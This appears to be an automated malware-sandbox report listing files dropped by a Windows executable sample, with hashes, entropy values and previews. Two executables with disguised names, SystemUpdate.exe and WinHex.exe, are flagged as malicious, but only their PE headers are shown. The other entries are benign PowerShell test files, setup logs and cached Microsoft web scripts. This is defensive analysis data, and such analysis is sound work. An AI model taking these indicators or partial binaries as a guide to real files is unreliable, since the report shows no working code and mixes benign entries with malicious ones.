Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b.b~&..-&..-&..-/..- ..-...,$..-...,*..-...,...-...,%..-...,%..-}..,$..-&..-l..-...,'..-...,'..-...-'..-...,'..-Rich&..-........PE..d...4.._.........." .....L...Z.......)....................................................`.............................................X...8...................<.......8...........`)..T............................)..8............`...............................text....J.......L.................. ..`.rdata.......`...0...P..............@..@.data...............................@....pdata..<...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4twxrces.a51.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b1pafmeb.te3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ftt1hymm.asv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g0ljlkdp.slk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hx2ccexx.hsv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kk4ir13m.2gy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pvxpna1c.zst.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v3fkzbwo.5rb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\SystemUpdate.exe

Download File

Process:	C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5387223
Entropy (8bit):	7.985206938856671
Encrypted:	false
SSDEEP:	98304:AfXpzoLLJ3TbwaVvrZE0I8VkgCPOGCWxMa7kC9dob2MlVJqL2k+m7:Av9onJ5hrZEAktPOKjPob2M7YL
MD5:	6BDDA8BA15F8F472FE7D065689E7D35D
SHA1:	95D44FF3A6E24F1A53BA0DB640A08A727C864109
SHA-256:	55DC50526FF1F3265E54280421BD518B15A8D7475C8A91744D8FE6FFA9AA7C4D
SHA-512:	D0FD1482054E1408E374CEB30D5C400B6E5D8CB48B0DCFEB4F0364E35D46F3146CDAF78A3D7BB997E25054EB044DCEACD84FEFED9379CC6D020EF9B0BA5FF5CF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W.W.W../.W../..1W../...W..+...W..+...W..+...W..+.W../.W.W..W.3+...W.3+.W.Rich.W.................PE..d....=dg.........."....".......................@......................................R...`.....................................................x.... ...H....... ...........p..X...................................@...@............................................text............................... ..`.rdata...+.......,..................@..@.data...............................@....pdata... ......."..................@..@_RDATA..\...........................@..@.rsrc....H... ...J..................@..@.reloc..X....p.......4..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\WinHex.exe

Download File

Process:	C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19293911
Entropy (8bit):	7.626940406045079
Encrypted:	false
SSDEEP:	393216:99uDI2bmAyYMF3hsZP4Mk0WCXCEqyJDDUSyE+r9QfPsilLI1z0tC3I0Coipi20Ua:7uDI2bmfYuhIfWjQflorgu1zXjCoDiyu
MD5:	EFDC5DBA52333C0F5EEEDB0308FBE2D0
SHA1:	302AB4512EC697F95CD23C9001D04C43AF18E07E
SHA-256:	D318CA324ED55593629D9D4B59E72A0D61E47F855714EB4A128FADC07D1F4363
SHA-512:	62D69091E7E5F73DA141B716DABA26B1AE168FF7AFDDAB08F1378F35719A6ED3E10D199806FB58F6BEE9AB006F6CDCA428B7ECEA5A7ED49C0168C1E4C46905AA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W.W.W../.W../..1W../...W..+...W..+...W..+...W..+.W../.W.W..W.3+...W.3+.W.Rich.W.................PE..d.....eg.........."....".......................@....................................K.&...`.....................................................x.... ...H....... ...........p..X...................................@...@............................................text............................... ..`.rdata...+.......,..................@..@.data...............................@....pdata... ......."..................@..@_RDATA..\...........................@..@.rsrc....H... ...J..................@..@.reloc..X....p.......4..............@..B........................................................................................................................................................................................................

C:\Windows\Logs\MoSetup\BlueBox.log

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1938
Entropy (8bit):	5.227531127882007
Encrypted:	false
SSDEEP:	48:xBOEoHoDeY5C1s8B9BvMT2Qod7xmXaaeK/1HTh1DgTgEqekeY03kpdU:xgEoHoiYE1s8B9BvMT2Qod7xmXa1K/1m
MD5:	04E1B4AE122D58DB2DD0B0F86B015626
SHA1:	B40F00123A61D2EA209EC7490844A4EEFCDA3B86
SHA-256:	1E1CFDE9DD6CA00C0A3A15FC00CECFCE5C2542549D0E9A7A35B455EF7D4A2B41
SHA-512:	A2A46D1D53E322F4001F74F7A3D2E09C2612277F548C7E21C0AC0622E712181BAF3C3F53851682EB5EFC4506EC3B42078D8BB0FE721D2B89D1B47DB3AD0EACBB
Malicious:	false
Preview:	.2024-12-29 07:52:55: BuildInfo: [10.0.19041.572 (vb_release_svc_prod1.201007-1724)]..2024-12-29 07:52:55: CommandLine: [C:\Users\user\AppData\Roaming\../LineInst.exe]..2024-12-29 07:52:55: Opening Box: [C:\Users\user\AppData\LineInst.exe]..2024-12-29 07:52:55: Opening Box Result: [0x0]..2024-12-29 07:52:55: Deleting box result.....2024-12-29 07:52:55: Creating path: [C:\$Windows.~WS\Sources].....2024-12-29 07:52:55: Checking cleanup registry value.....2024-12-29 07:52:55: Cleanup value missing... assuming no cleanup...2024-12-29 07:52:55: Skipping cleanup...2024-12-29 07:52:55: Preserve working path: [No]..2024-12-29 07:52:55: Cleaning alternate storage paths.....2024-12-29 07:52:55: Cleaning MoSetup Volatile key.....2024-12-29 07:52:55: Removing CorrelationVector registry value.....2024-12-29 07:52:55: Removing cleanup registry value.....2024-12-29 07:52:55: Flushing MoSetup registry key.....2024-12-29 07:52:55: Cleaning working dir.....2024-12-29 07:52:55: Attempting to preserve

C:\Windows\Panther\DlTel.etl

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	data
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.122965053500773
Encrypted:	false
SSDEEP:	768:LzWOPTgvIfAMdvTzAa0rDOJuUjCUKVdJMggcRiUE4Rkr3ajDZSr0vJgqZ02cF5Jp:yhRA
MD5:	E2F1E7627D0F6DC622D839CFD2F8FAC9
SHA1:	D933E97FB37C8312DBB74FC652C151C3AED8F69D
SHA-256:	119E8C5C3212FB74F2D0B91FC3FAB4D271982162827763BDE3000549B9E71230
SHA-512:	9D460B01AD83AC9E7EDC68B89E4A669291B360415CBFCB0265DEB2F3D70E5ED0D754608301F38248D43B9FC9F70642AC2BC410230DD1F798726EE1BC0420B460
Malicious:	false
Preview:	....H...H.......................................H...!...........................X...T..."&.m....................eJ.......;/..Y..Zb......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1..............................................................O............._`..Y..........S.P._.D.O.W.N.L.E.V.E.L._.T.E.L.E.M.E.T.R.Y._.E.T.W._.S.E.S.S.I.O.N...C.:.\.W.i.n.d.o.w.s.\.P.a.n.t.h.e.r.\.D.l.T.e.l...e.t.l.......P.P.X...T..."&.m............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (524)
Category:	downloaded
Size (bytes):	980
Entropy (8bit):	5.221020544248936
Encrypted:	false
SSDEEP:	24:ckGytSvuT/y67L/nV9jViHwukcglwYVTYVu:catwuby67pLRuxmwCTCu
MD5:	EC8AED9DF755A7B27E52317DCF532DF8
SHA1:	60F03B5BF43D1682D1CDB7DAF5A5A37FCD29D4E8
SHA-256:	C152DD3ED8493299EA2712FFC15A0043F417FEDCF4159B2C993A006501D82AC4
SHA-512:	16890D243CE2236AA2CD01C3C85D7B0AA1DB3DC8BF8B9CFE97AD18889F4030A0B6511C9F82C62F2BDA5F1029AFF4E12A9E35B0E182FC3B2B8B677618A589F5CF
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/socialfollow/v1/socialfollow/clientlibs/site.min.ACSHASHec8aed9df755a7b27e52317dcf532df8.js
Preview:	'use strict';$(document).ready(function(){var a=window.matchMedia("(prefers-color-scheme: dark)");a.addEventListener("change",function(k){{const d=document.querySelectorAll(".socialfollow .socialfollow-li img");if(d)for(var e=0;e<d.length;e++){var b=d[e].getAttribute("src"),g=d[e].getAttribute("data-src");b&&(k.matches?(-1<b.indexOf("\x26fmt\x3dpng-alpha")&&(b=b.replace("\x26fmt\x3dpng-alpha",""),d[e].setAttribute("src",b)),-1<b.indexOf("?fmt\x3dpng-alpha")&&(b=b.replace("?fmt\x3dpng-alpha",""),d[e].setAttribute("src",.b))):g&&d[e].setAttribute("src",g))}}});if(a.matches&&(a=document.querySelectorAll(".socialfollow .socialfollow-li img")))for(var f=0;f<a.length;f++){var c=a[f].getAttribute("src"),h=a[f].getAttribute("data-src");c&&(-1<c.indexOf("\x26fmt\x3dpng-alpha")?(c=c.replace("\x26fmt\x3dpng-alpha",""),a[f].setAttribute("src",c)):-1<c.indexOf("?fmt\x3dpng-alpha")?(c=c.replace("?fmt\x3dpng-alpha",""),a[f].setAttribute("src",c)):h&&a[f].setAttribute("src",h))}});

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	631
Entropy (8bit):	6.391875872958697
Encrypted:	false
SSDEEP:	12:6v/7s6UVprYe6IZeuLgou+/CAztgbbvCR00aJzS4VQIjXuYEMwoQIjXuHBOLPMdo:hX7rRkf+/rMcCJzAIjNEMwNIj8Efl9
MD5:	FB2ED9313C602F40B7A2762ACC15FF89
SHA1:	8A390D07A8401D40CBC1A16D873911FA4CB463F5
SHA-256:	B241D02FAB4B17291AF37993EB249F9303EB5897610ABAFAC4C9F6AA6A878369
SHA-512:	9CBCF5C7B8409494F6D543434ECAFF42DE8A2D0632A17931062D7D1CC130D43E61162EEDB0965B545E65E0687DED4D4B51E29631568AF34B157A7D02A3852508
Malicious:	false
Preview:	.PNG........IHDR... ... .....D.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...{PLTE.P".J$x......P".P".J$x.........K..K..K..D.o..w..w..w.........................................................P"...................$tRNS.DD...CC..DEC..CEDDEC..CED...CC...DD.c,8....bKGD(........pHYs...........~.....tIME....."4...4...QIDAT8...G.. ...Q..s....?......s.f..a`.A... .bA!..,/dYQ.....a.((j^.m?4..Q.?.....2>.........%tEXtdate:create.2020-05-28T22:34:52+02:00.t.....%tEXtdate:modify.2020-05-28T22:34:52+02:00.)<'...WzTXtRaw profile type iptc..x.....qV((.O..I.R..#..c..#.K.... D.4.d.#.T ...........H.J.....t.B5.....IEND.B`.

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	279
Entropy (8bit):	4.9476583285591245
Encrypted:	false
SSDEEP:	6:/csgP0KOFMLs9cVNKmV+oOEbFNRbvb2RCXgZ:/RLUN+jEb/RbdXW
MD5:	E1F0A24D32A3CAAED1D3B99783BE4B37
SHA1:	7ECBD8083A8DBB1BCCE690620951E11BC1827841
SHA-256:	24E3F2E2B95B3EEA8F74E0341E55A4FD71581931179FE467CA97BA5DFEA9F011
SHA-512:	01FDAA5167A44D1545A7C280412BB4F7C7F6FAD4A33E3DD0122B86C3E377E204CFAF187A6E535D49C071663214C90F0904CDD3969231750D8D4A252228839D31
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/tablecomponent/v1/tablecomponent/clientlibs/site.min.ACSHASHe1f0a24d32a3caaed1d3b99783be4b37.css
Preview:	.table .sr-text{border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal !important}..table-first-col-highlight tr td:first-child:not(:last-child){background-color:rgba(230,230,230,.5)}

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 150177
Category:	downloaded
Size (bytes):	52015
Entropy (8bit):	7.9952734547685935
Encrypted:	true
SSDEEP:	1536:vJhGm+7PUzhQu7xb5fpuSijlAVYYHNkPyJvs:RoA9l7FPRuAVYYHiPyJvs
MD5:	5F28D22CDF37837FA88F08A2050983AF
SHA1:	2FC8592FB2E4BE8193919AD56EE8588B24E7C0BE
SHA-256:	6E207B57EF73C7406D23E2533231E94B58B3C52AC63D208EC6664B152EC5B544
SHA-512:	DD526C86ACD7D940E54F9F6F848F03A4881DF9E17A067E7231E3D1765D846D0741FAFA8D7C89395B644CB6E0CB71098807411A0F534EA148379D23D31A032104
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/FetchSessions_Core_9mEr1-U6IfYSYEIq9V-gwA2.js
Preview:	...........k[.H.0........F._...q.UE7....s..m..%$.I.....q.L.d....g....HyWdDdDdd...+.U....................9...vzvy.....`....C...A.....K.Q-.jqR..a.L........I...q.?...6I.?.a... ........%...d/..s.....Zp.DP{.O^..!.Eq.........^..M.......C.$.&q...Z.....:I..^..y._K..6....Q....h5.n........48..._.. .!N...X'...6.....8.Z..^..}.=At_..=........F.aV/\|f.'O8.0..P<...R.{..:..i.R.O..A...............Tu.R..'0..2..Y<..!.-5...~].A..g.G...i.l5....F..,.....}.=L..a..1......._..F....N..L..1...O.0..A......\..Q.....g.}Y..h......?..$....4...L...ZdF..'.....;p.........{.^.v.wA=......Y..\..............?x..s. ...L.!......_'.....d.>....X6>.... ..y.w5...4i......E-.WW..9....5....83-...tgs;vgM.1.((...`l&.....4.j.\.4.:L;T..$w.8..:+M[d:...#*.X....vf.../........(.o........^.x/ZF..h/...3._c.wc..B......`n..\....$...K....z...,y!...W..b.WLEb.....oX.....4%.S$..nZ..H.........l..x......&vD.S.&...l.6 .H.....\|>....].u\|;..taJ^.0Jk.-fZ...!...[.(..8...7r.o.......Cbi.K...{.M.........)}DJF<.W..

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3637)
Category:	downloaded
Size (bytes):	3690
Entropy (8bit):	5.141541571595828
Encrypted:	false
SSDEEP:	96:Af3vI6YmI62HUbHbZbpVuJRDhxwC9jTx+IRcaOs/Z:Af3vI6YmI62HUrllgffOQZ
MD5:	A249B03B72AB5E7B60E7806457B9BE61
SHA1:	FF0B5F4FB91A9DBF147262AD59B292C6C2DFE122
SHA-256:	48FF8C6449BEF199F206C7A1C49403E10DC6341A9D4A1F8946B042DDE66E315F
SHA-512:	29F204E3813972DC76FCE3DD6715093646EB0DA52DEDAC5E7E09B618E5CF8703CDE95D463727EB29F90D461D0C5A73B5701EC39B994A268103A06306144A6F34
Malicious:	false
URL:	https://support.microsoft.com/js/PromotionBanner.Main.min.js?v=SP-MZEm-8ZnyBsehxJQD4Q3GNBqdSh-JRrBC3eZuMV8
Preview:	!function(){"use strict";var n;!function(n){n.PromotionBanner=".PromotionBanner",n.TopPageBanner=".TopPageBanner",n.AboveUhfBanner=".AboveUhfBanner",n.RailBanner=".RailBanner",n.NpsRailBanner=".NpsRailBanner",n.RailSecondaryCtaBanner=".RailSecondaryCtaBanner"}(n\|\|(n={}));var e=[{dismissSelector:null,clickSelector:"#ucsTopBannerButtonLink",element:n.PromotionBanner},{dismissSelector:"#top-banner-dismiss-button",clickSelector:"#ucsTopBannerButtonLink",element:n.TopPageBanner},{dismissSelector:"#uhf-banner-close",clickSelector:"#upgradeUhfBannerButton",element:n.AboveUhfBanner},{dismissSelector:"#rail-banner-dismiss-button",clickSelector:"#rail-banner-button",element:n.RailBanner},{dismissSelector:"#nps-rail-close",clickSelector:"#nps-rail-link",element:n.NpsRailBanner},{dismissSelector:"#rail-banner-dismiss-button",clickSelector:"#rail-banner-button, #rail-banner-button-secondary",element:n.RailSecondaryCtaBanner}],t=function(){return t=Object.assign\|\|function(n){for(var e,t=1,r=argument

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2654), with CRLF line terminators
Category:	downloaded
Size (bytes):	2775
Entropy (8bit):	5.674747129528113
Encrypted:	false
SSDEEP:	48:t1XXw+kOhX/BxVgnK/Q6GiuGq9juwbae13NhcKBLd4sgf3qKSi/tB9v8IIQoNfk:H9W3iuV96wDrHBZ4vvqC1BRdn/
MD5:	142FA51EC3F8A1FCD3A0D5B2F7280E2D
SHA1:	7DB6D5E9A6AF7515F8D14987497704AB1E35DFAB
SHA-256:	BB1046E66A4661B01BDB1209293DDF2879FAB789B29288674F057A4FDFF58A0F
SHA-512:	C8798466BCBC7044AE8045F82454AED6458D5D48A03764B4CA397E26EDB87024D8C0734856F73A1B09B2094620A8C3CD6A2355FF7A6BD58A00BF2C22E77AC84F
Malicious:	false
URL:	https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&session_id=8fc9ab9a-d38f-45f6-810d-1ebb6f64a20c&id=eee68759-fa41-409c-b50c-0a4bca1203d2&w=8DD28080AA5282A&tkt=H3ihr9e92IdW6yd1ZgQ9SxSk4vLz7GBD1517G7IdE7hXlbjxNL0cZsz2SmupqiKmFb4VeHG0sdAhhtAb7ZZ2APToim3s0Eefw4Kc3oXWz0O5bUHPU%252bZ9kdfsX1LlEDXZ3P3F2OvQ2l5CJP33BIG9iVKgvRqCpV%252fiXFYyIu%252b6cbBdy7Mmk3dT2CWoZ2s5MTWX05AdXENFUNoRGafFpaWKZKzn7SVyvN6fvCfUkzdDKZzOv0MiaZ2Z0pds0hjCoKs%252f8zASQMwA2crF1HHiB6IgCsV%252fn2pDxwXtPqSZQLmdsbQWy5UH7ApBxmj3hzrMBYl4&CustomerId=02C58649-E822-405B-B6C3-17A7509D2FCC
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>..</head>..<script>function BaseStamp() { this.GetStorageQsInfo = function () { if (window.localStorage) { var n = window.localStorage.getItem(lsKey); var lsupd = "False"; if (lsupd === "true" && n) { var xhr = new XMLHttpRequest(), method = "GET", url = target + "updatels.html?ofid=" + n + "&session_id=" + sid + "&CustomerId=" + cid; xhr.open(method, url, true); xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { var update = xhr.responseText; if (update && update.toLowerCase() === "true") { window.localStorage.setItem(lsKey, id); } } }; xhr.send(); } if (n && n != null && n != "" \|\| (window.localStorage.setItem(lsKey, id), n = id), id != n) return "session_id=" + sid + "&CustomerId=" + cid + "&fid=" + id + "&ofid=" + n + "&w=" + ticks + "&auth=" + encodeURIComponent(authKey) } return "" }; this.newXMLHttp = function () { var n = null; return

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65298)
Category:	downloaded
Size (bytes):	372649
Entropy (8bit):	5.092497147126706
Encrypted:	false
SSDEEP:	6144:hkz1b3b99G9gR7N1xf6ilX1b3b99G9gR7N1xf6iPyD1b3b99G9gR7N1xf6ilfsPQ:6YfW1fvh8
MD5:	C34FA6955BE9497F516B1D185D1450D8
SHA1:	C2B45C4572E6B0398E3703CCFC1746D7D6CFC582
SHA-256:	F6895205E6AFDDAB2E56E315FB74F0016F5ECD70F163FA978BB88504E8512398
SHA-512:	56D1919BD4B6E00B43B9DBFE63E8570EDEAB2A4718EFD6A92ED3198835252CB5D817ABE625B166245C49AAD95FD99389680E2AA1BC083053980E6A8A6FFCDC5E
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/main-light.min.ACSHASHc34fa6955be9497f516b1d185d1450d8.css
Preview:	@charset "UTF-8";/!. MWF (Moray) Extensions v2.15.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2022 The Bootstrap Authors and Twitter, Inc.. * Copyright .2022 W3C. (MIT, ERCIM, Keio, Beihang).. */@font-face{font-family:MWF-FLUENT-ICONS;src:url(resources/fonts/MWFFluentIcons.woff2?v=2.15.1) format("woff2"),url(resources/fonts/MWFFluentIcons.woff?v=2.15.1) format("woff"),url(resources/fonts/MWFFluentIcons.ttf?v=2.15.1) format("truetype")}@font-face{font-family:SegoeUI;src:local("Segoe UI"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.woff2) format("woff2"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.woff) format("woff"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.ttf) format("ttf");font-weight:400}@font-face{font-family:SegoeUI;src:local("Segoe UI"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/light/latest.woff2) format("woff2"),url(//c.s-micros

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (541)
Category:	downloaded
Size (bytes):	3642
Entropy (8bit):	5.399452635270733
Encrypted:	false
SSDEEP:	96:yjXZ9sAK618PFA5Hvsy15vm9sgsTO7wdNTB:yjXPT2Sb15vkl7wdN9
MD5:	BE3F2A9F6A41FC40556EFE260FC861A5
SHA1:	EF6D673802EDF44C01EEA9DD86DF4E5ACD21757E
SHA-256:	C94F3B6AA377CFC8D9416F38AEDF1E49C43DE0BDC6726858720610827DF2DD3E
SHA-512:	05ED779F490E9F21153E0C6838198A9E5337C4361644E62A5C99BCA3978001840CAC2E947874983FABF15573FDDA548567176F77B0393A827E27E47ECB01792A
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/exp-cookiecomp/v1.min.ACSHASHbe3f2a9f6a41fc40556efe260fc861a5.js
